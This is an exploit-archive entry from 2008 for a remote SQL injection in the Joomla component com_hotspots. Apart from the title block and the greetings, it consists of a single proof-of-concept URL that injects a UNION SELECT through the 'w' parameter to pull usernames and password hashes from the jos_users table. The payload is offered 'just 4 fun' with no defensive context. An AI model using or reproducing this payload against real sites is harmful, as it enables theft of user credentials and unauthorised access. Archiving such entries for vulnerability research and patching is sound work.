[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Joomla Component com_hotspots (w) Remote SQL Injection Vulnerability
# Published : 2008-10-07
# Author : cOndemned
# Previous Title : Yerba SACphp <= 6.3 Multiple Remote Vulnerabilities
# Next Title : YourOwnBux 4.0 (COOKIE) Remote SQL Injection Vulnerability
???Name : Joomla Component com_hotspots (w) Remote SQL Injection Vulnerability
Author : cOndemned
Data : 07.10.2008 AD
Greetz : sid.psycho, h07, ZaBeaTy, irk4z, Necro, str0ke, t0pP8uZz, TWT, suN8Hclf, 0in and Avantura....
PoC :
http://[host]/index.php?Itemid=53&option=com_hotspots&task=w&w=5+and+1=2+union+select+concat(username,0x3a,password)+from+jos_users--
Just 4 fun
# www.Syue.com [2008-10-07]